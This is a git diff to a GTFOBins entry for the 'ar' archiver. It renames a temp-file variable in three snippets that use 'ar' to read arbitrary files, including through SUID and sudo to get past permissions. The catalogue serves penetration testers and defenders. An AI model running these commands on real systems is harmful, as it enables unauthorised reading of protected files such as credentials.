diff --git a/_gtfobins/ar.md b/_gtfobins/ar.md
index 9b0f36f..51abe7b 100644
--- a/_gtfobins/ar.md
+++ b/_gtfobins/ar.md
@@ -3,20 +3,20 @@ description: The file appears amid the binary content of the archive.
 functions:
   file-read:
     - code: |
-        OUTFILE=$(mktemp -u)
+        TF=$(mktemp -u)
         LFILE=file_to_read
-        ar r "$OUTFILE" "$LFILE"
-        cat "$OUTFILE"
+        ar r "$TF" "$LFILE"
+        cat "$TF"
   suid:
     - code: |
-        OUTFILE=$(mktemp -u)
+        TF=$(mktemp -u)
         LFILE=file_to_read
-        ./ar r "$OUTFILE" "$LFILE"
-        cat "$OUTFILE"
+        ./ar r "$TF" "$LFILE"
+        cat "$TF"
   sudo:
     - code: |
-        OUTFILE=$(mktemp -u)
+        TF=$(mktemp -u)
         LFILE=file_to_read
-        sudo ar r "$OUTFILE" "$LFILE"
-        cat "$OUTFILE"
+        sudo ar r "$TF" "$LFILE"
+        cat "$TF"
 ---